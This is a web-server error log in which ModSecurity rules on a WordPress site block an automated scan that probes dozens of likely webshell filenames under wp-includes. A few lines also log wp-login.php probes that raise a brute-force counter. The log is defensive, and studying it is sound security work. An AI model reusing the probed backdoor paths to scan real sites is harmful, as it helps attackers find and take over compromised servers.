[Mon Feb 23 12:02:13.772102 2026] [proxy_fcgi:error] [pid 39640:tid 39674] [client 45.132.224.133:38811] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:13.970802 2026] [proxy_fcgi:error] [pid 39640:tid 39672] [client 45.132.224.133:38811] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:14.164900 2026] [:error] [pid 39640:tid 39680] [client 45.132.224.133:38811] [client 45.132.224.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aZvRRtsK--eVCgzvvudpnwAAAoo"]
[Mon Feb 23 12:02:14.507276 2026] [:error] [pid 25294:tid 25351] [client 45.132.224.141:35273] [client 45.132.224.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aZvRRiRCFB3CqIo_jfaPQwAAAEk"]
[Mon Feb 23 12:02:15.418233 2026] [proxy_fcgi:error] [pid 25293:tid 25309] [client 45.132.224.157:42903] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:15.941465 2026] [:error] [pid 25293:tid 25299] [client 45.132.224.157:42903] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aZvRR-L9XfBf66iHi_eUmgAAAAA"]
[Mon Feb 23 12:02:16.346113 2026] [proxy_fcgi:error] [pid 39540:tid 39575] [client 45.132.224.121:64225] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:17.097453 2026] [proxy_fcgi:error] [pid 39540:tid 39572] [client 45.132.224.121:64225] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:17.289469 2026] [:error] [pid 39540:tid 39581] [client 45.132.224.121:64225] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aZvRSbsgm9aTWhlRScLlZQAAAcw"]
[Mon Feb 23 12:02:18.106159 2026] [proxy_fcgi:error] [pid 25294:tid 25334] [client 45.132.224.123:45695] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:18.480194 2026] [:error] [pid 25294:tid 25348] [client 45.132.224.123:45695] [client 45.132.224.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aZvRSiRCFB3CqIo_jfaPSgAAAEc"]
[Mon Feb 23 12:02:18.855655 2026] [:error] [pid 39538:tid 39550] [client 45.132.224.131:54609] [client 45.132.224.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aZvRSi4Zk8-cQOG3ZnozUwAAAYg"]
[Mon Feb 23 12:02:20.255438 2026] [:error] [pid 39538:tid 39551] [client 45.132.224.137:37193] [client 45.132.224.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aZvRTC4Zk8-cQOG3ZnozVwAAAYk"]
[Mon Feb 23 12:02:21.380455 2026] [:error] [pid 39504:tid 39513] [client 45.132.224.121:51061] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aZvRTXLcHpOlI9gwwJruSgAAAUc"]
[Mon Feb 23 12:02:21.860042 2026] [:error] [pid 39639:tid 39650] [client 45.132.224.140:52839] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aZvRTRpFkMoMi8uTUUMxBgAAAkc"]
[Mon Feb 23 12:02:22.437614 2026] [proxy_fcgi:error] [pid 25380:tid 25400] [client 45.132.224.123:35929] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:23.477917 2026] [:error] [pid 25380:tid 25387] [client 45.132.224.123:35929] [client 45.132.224.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aZvRT6Krc8yFQ8fy78p7rwAAAMU"]
[Mon Feb 23 12:02:25.384812 2026] [:error] [pid 25380:tid 25391] [client 45.132.224.145:31853] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aZvRUaKrc8yFQ8fy78p7swAAAMk"]
[Mon Feb 23 12:02:25.760839 2026] [:error] [pid 39540:tid 39593] [client 45.132.224.136:46011] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aZvRUbsgm9aTWhlRScLleQAAAdg"]
[Mon Feb 23 12:02:26.446637 2026] [proxy_fcgi:error] [pid 39540:tid 39586] [client 45.132.224.121:53427] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:26.664949 2026] [:error] [pid 39540:tid 39581] [client 45.132.224.121:53427] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aZvRUrsgm9aTWhlRScLlggAAAcw"]
[Mon Feb 23 12:02:27.207757 2026] [:error] [pid 39640:tid 39679] [client 45.132.224.149:64535] [client 45.132.224.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aZvRU9sK--eVCgzvvudpuAAAAok"]
[Mon Feb 23 12:02:28.707661 2026] [:error] [pid 39640:tid 39691] [client 45.132.224.131:54823] [client 45.132.224.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aZvRVNsK--eVCgzvvudpwgAAApU"]
[Mon Feb 23 12:02:29.278693 2026] [proxy_fcgi:error] [pid 39540:tid 39585] [client 45.132.224.152:63437] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:29.491666 2026] [:error] [pid 39540:tid 39576] [client 45.132.224.152:63437] [client 45.132.224.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aZvRVbsgm9aTWhlRScLliAAAAcc"]
[Mon Feb 23 12:02:30.279731 2026] [:error] [pid 25380:tid 25403] [client 45.132.224.135:34469] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aZvRVqKrc8yFQ8fy78p7yAAAANU"]
[Mon Feb 23 12:02:30.826952 2026] [:error] [pid 25380:tid 25389] [client 45.132.224.157:22185] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/as.php"] [unique_id "aZvRVqKrc8yFQ8fy78p70gAAAMc"]
[Mon Feb 23 12:02:31.458328 2026] [:error] [pid 39540:tid 39591] [client 45.132.224.145:45711] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aZvRV7sgm9aTWhlRScLljAAAAdY"]
[Mon Feb 23 12:02:31.845978 2026] [:error] [pid 39540:tid 39584] [client 45.132.224.153:59467] [client 45.132.224.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/install.php"] [unique_id "aZvRV7sgm9aTWhlRScLljQAAAc8"]
[Mon Feb 23 12:02:32.299722 2026] [:error] [pid 39540:tid 39578] [client 45.132.224.141:38461] [client 45.132.224.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aZvRWLsgm9aTWhlRScLljwAAAck"]
[Mon Feb 23 12:02:34.088847 2026] [:error] [pid 39540:tid 39587] [client 45.132.224.136:46537] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aZvRWrsgm9aTWhlRScLlnwAAAdI"]
[Mon Feb 23 12:02:35.039795 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.145:24059] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aZvRW7sgm9aTWhlRScLlpQAAAdU"]
[Mon Feb 23 12:02:35.588197 2026] [proxy_fcgi:error] [pid 25380:tid 25386] [client 45.132.224.111:44857] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:35.763067 2026] [proxy_fcgi:error] [pid 25380:tid 25390] [client 45.132.224.111:44857] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:35.939418 2026] [:error] [pid 25380:tid 25394] [client 45.132.224.111:44857] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aZvRW6Krc8yFQ8fy78p74QAAAMw"]
[Mon Feb 23 12:02:37.022237 2026] [:error] [pid 39639:tid 39656] [client 45.132.224.157:45467] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aZvRXRpFkMoMi8uTUUMxHAAAAk0"]
[Mon Feb 23 12:02:37.386556 2026] [proxy_fcgi:error] [pid 25380:tid 25384] [client 45.132.224.143:38059] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:38.604196 2026] [:error] [pid 25380:tid 25395] [client 45.132.224.143:38059] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aZvRXqKrc8yFQ8fy78p76wAAAM0"]
[Mon Feb 23 12:02:39.161077 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.106:26357] [client 45.132.224.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aZvRX7sgm9aTWhlRScLlsAAAAdU"]
[Mon Feb 23 12:02:39.753809 2026] [:error] [pid 39540:tid 39582] [client 45.132.224.144:47257] [client 45.132.224.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aZvRX7sgm9aTWhlRScLlswAAAc0"]
[Mon Feb 23 12:02:40.285732 2026] [proxy_fcgi:error] [pid 39540:tid 39573] [client 45.132.224.108:34097] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:40.463500 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.108:34097] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aZvRYLsgm9aTWhlRScLlugAAAdU"]
[Mon Feb 23 12:02:42.242774 2026] [:error] [pid 25380:tid 25400] [client 45.132.224.141:49407] [client 45.132.224.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aZvRYqKrc8yFQ8fy78p7-gAAANI"]
[Mon Feb 23 12:02:42.602998 2026] [:error] [pid 39540:tid 39570] [client 45.132.224.121:57633] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aZvRYrsgm9aTWhlRScLlwAAAAcE"]
[Mon Feb 23 12:02:43.595966 2026] [:error] [pid 39540:tid 39585] [client 45.132.224.113:51387] [client 45.132.224.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aZvRY7sgm9aTWhlRScLlxQAAAdA"]
[Mon Feb 23 12:02:43.944291 2026] [:error] [pid 39640:tid 39676] [client 45.132.224.129:64627] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aZvRY9sK--eVCgzvvudpyQAAAoY"]
[Mon Feb 23 12:02:44.695647 2026] [:error] [pid 39540:tid 39578] [client 45.132.224.147:55019] [client 45.132.224.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aZvRZLsgm9aTWhlRScLlzAAAAck"]
[Mon Feb 23 12:02:45.071578 2026] [:error] [pid 29909:tid 29932] [client 45.132.224.134:21891] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aZvRZT9oc2QzltksUk64YgAAARU"]
[Mon Feb 23 12:02:45.492854 2026] [:error] [pid 39504:tid 39522] [client 45.132.224.116:26693] [client 45.132.224.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.116, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aZvRZXLcHpOlI9gwwJruUQAAAVA"]
[Mon Feb 23 12:02:45.496972 2026] [proxy_fcgi:error] [pid 39504:tid 39522] [client 45.132.224.116:26693] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:45.752614 2026] [:error] [pid 39504:tid 39512] [client 45.132.224.116:26693] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aZvRZXLcHpOlI9gwwJruUgAAAUY"]
[Mon Feb 23 12:02:46.577589 2026] [proxy_fcgi:error] [pid 29909:tid 29920] [client 45.132.224.151:46353] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:46.749595 2026] [:error] [pid 29909:tid 29923] [client 45.132.224.151:46353] [client 45.132.224.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aZvRZj9oc2QzltksUk64ZwAAAQw"]
[Mon Feb 23 12:02:47.165515 2026] [:error] [pid 39540:tid 39574] [client 45.132.224.139:26433] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aZvRZ7sgm9aTWhlRScLl0AAAAcU"]
[Mon Feb 23 12:02:47.579140 2026] [proxy_fcgi:error] [pid 39504:tid 39509] [client 45.132.224.124:41333] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:49.012218 2026] [:error] [pid 39504:tid 39507] [client 45.132.224.124:41333] [client 45.132.224.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aZvRaXLcHpOlI9gwwJruYgAAAUE"]
[Mon Feb 23 12:02:49.387151 2026] [:error] [pid 39540:tid 39588] [client 45.132.224.157:21597] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aZvRabsgm9aTWhlRScLl2wAAAdM"]
[Mon Feb 23 12:02:50.170296 2026] [:error] [pid 39540:tid 39593] [client 45.132.224.142:56929] [client 45.132.224.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aZvRarsgm9aTWhlRScLl4wAAAdg"]
[Mon Feb 23 12:02:50.519909 2026] [:error] [pid 39540:tid 39571] [client 45.132.224.118:63497] [client 45.132.224.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aZvRarsgm9aTWhlRScLl5gAAAcI"]
[Mon Feb 23 12:02:50.950442 2026] [proxy_fcgi:error] [pid 39640:tid 39684] [client 45.132.224.127:61209] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:51.145947 2026] [:error] [pid 39640:tid 39687] [client 45.132.224.127:61209] [client 45.132.224.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.127, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aZvRa9sK--eVCgzvvudp0gAAApE"]
[Mon Feb 23 12:02:51.585079 2026] [:error] [pid 39640:tid 39677] [client 45.132.224.127:61209] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aZvRa9sK--eVCgzvvudp1QAAAoc"]
[Mon Feb 23 12:02:53.211667 2026] [:error] [pid 25380:tid 25397] [client 45.132.224.143:57903] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aZvRbaKrc8yFQ8fy78p8CgAAAM8"]
[Mon Feb 23 12:02:53.601035 2026] [proxy_fcgi:error] [pid 25293:tid 25317] [client 45.132.224.155:44509] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:53.772243 2026] [:error] [pid 25293:tid 25320] [client 45.132.224.155:44509] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aZvRbeL9XfBf66iHi_eUoAAAABU"]
